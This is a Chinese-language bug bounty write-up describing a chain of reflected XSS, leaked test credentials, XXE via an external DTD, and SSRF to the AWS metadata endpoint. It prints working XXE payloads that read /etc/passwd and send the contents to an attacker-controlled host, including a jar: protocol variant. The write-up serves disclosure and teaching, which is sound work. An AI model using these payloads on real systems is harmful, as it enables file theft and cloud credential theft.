HW期间,为防范钓鱼,即日起FreeBuf将取消投稿文章的一切外部链接。给您带来的不便,敬请谅解~
写在前面的话
我最近在HackerOne的一个私人项目上找到了一个严重的安全漏洞,该漏洞将允许攻击者获取目标Amazon Web服务的root密钥。因此,该漏洞的评级为10.09,即高危漏洞。
漏洞分析
在对目标应用进行分析时,我首先利用ffuf和我的自定义字典对该应用下的几个子域名进行了检测。其中一个子域名(//foo),一开始我访问它的时候只是一个空白页(注意这里的两个斜杠)但在十分钟之后,我成功找到了一个XSS漏洞。这个URL会被映射到一个提供了详细信息的错误页面,并通过向一个查询参数中注入Payload,成功发现了一个反射型XSS漏洞。
经过深入分析之后,在一个GitHub库中,我找到了这个子域名的测试凭证和一个登录Payload。要不是这个GitHub库给我泄露了这些数据,否则我压根都不知道这里还存在一个登录功能,因为登录功能没有出现在任何地方,路径也很奇葩,所以我的字典才没能覆盖到。
此时,我可以直接使用测试凭证进行登录,并且得到了一个允许我上传文件的令牌。由于这里的POST Payload是XML,所以我打算深入分析并测试XXE DTD(XML外部实体文档类型声明)。
我现在只能在password字段中调用DTD,其中的用户名由URL路径进行定义。因此,我使用了一个基本的POST Payload:
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE passwd [<!ELEMENT passwd ANY> <!ENTITY xxe SYSTEM "http://webhook.site/foo" >]> ... <passwd>&xxe;</passwd>
请求发送之后,我的webhook实例接收到了返回信息。此时,我已经知道DTD已经启用了。我还尝试在目标Web服务器上查询文件,但没有成功。
接下来,我想尝试检索外部DTD。我将http://webhook.site/foo 改成了一个伪造的自托管 DTD,并观察到Web应用会去获取这个文件。
现在,我已经具备了在Web应用服务器上读取文件并将其内容发送到自己的服务器所需的一切了。我发送的Payload如下所示:
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE passwd [!ENTITY % file SYSTEM "file:///etc/passwd"> [<!ENTITY % xxe SYSTEM "http://myserver.com/pwn.dtd"> %xxe; ]> ... <passwd>&send;</passwd>
下面给出的是伪造的自托管DTD(pwn.dtd):
<!ENTITY % all "<!ENTITY send SYSTEM 'http://myserver.com/?data=%file;'>"> %all;
然而,它并没有像预期的那样工作。目标Web应用程序确实获取了我的DTD,但我为何没有接收到后续的请求呢?而我只接收到了应用程序返回的错误消息!原来,是因为/etc/passwd中的特殊字符导致GET请求失效了。
在检查我的Linux系统有无包含了特殊字符的单行文件时,我发现了/etc/hostname这个文件。当我在Payload中用它替换掉/etc/passwd时,我能够成功读取其中的内容!但我想要读取的是目标系统中的任意文件,于是我打算尝试通过FTP对数据进行过滤,当然也可以直接对应用程序响应进行过滤。但这些都没效果,所以我直接将该漏洞描述为影响严重的XXE DTD本地文件包含(LFI)漏洞,并上报给了HackerOne。
但我一晚上没睡着,一直在想着这个漏洞,很明显,这个漏洞影响无法令我满意!所以,我还需要尝试使用其他方法来利用它。
我跟Dee-see(一位非常厉害的黑客)聊了一下,然后他给我发了下面这条链接(关于使用jar:协议来提取文件的技术):
https://www.blackhat.com/docs/us-15/materials/us-15-Wang-FileCry-The-New-Age-Of-XXE-java-wp.pdf
根据上面这个链接修改DTD文件的内容之后,我再次尝试提取/etc/passwd中的内容:
<!ENTITY % all "<!ENTITY send SYSTEM 'jar:%file;/myserver.com!/'>"> %all;
这一次终于成功了!现在我可以读取服务器响应中/etc/passwd的全部内容了!
jar:协议可以帮助我们读取.zip或.jar文件中的文件,但不知为何用了jar:之后,目标Web应用程序就直接崩盘了,并允许我们读取其中任意文件的内容。
锲而不舍
接下来,我开始尝试扫描服务器的开放端口,并期望我可以得到SSH密钥并实现登录,但这里只有80和443端口是开放的。
通过在文件实体中使用file:///,我能够读取一个目录的内容,但我无法读取/proc/self/environ,而它很可能存储了AWS元数据。这里出现的情况跟之前一样,也是因为一些特殊字符破坏了数据流,即使使用jar:也没有用。于是,我打算将之前的这个LFI漏洞转换为SSRF(服务器端请求伪造)漏洞,并查询常见的AWS元数据节点,即http://169.254.169.254/latest/meta-data/iam/security-credentials/IAM_USER_ROLE。
虽然我不知道user_role的值,但通过访问http://169.254.169.254/latest/meta-data/iam/security-credentials/,Web应用程序给我显示了一个错误页面,并给我提供了大量的详细信息...
于是,我又将漏洞上报给了HackerOne,这一次他们将漏洞评级改为了10.0,并给我提供了2000美元的漏洞奖励!
不幸的是,我不能透露目标公司的名称和我的报告细节,但如果他们有一天要上市的话,我会要求他们披露详细内容。
参考资料
https://twitter.com/dee__see
https://www.blackhat.com/docs/us-15/materials/us-15-Wang-FileCry-The-New-Age-Of-XXE-java-wp.pdf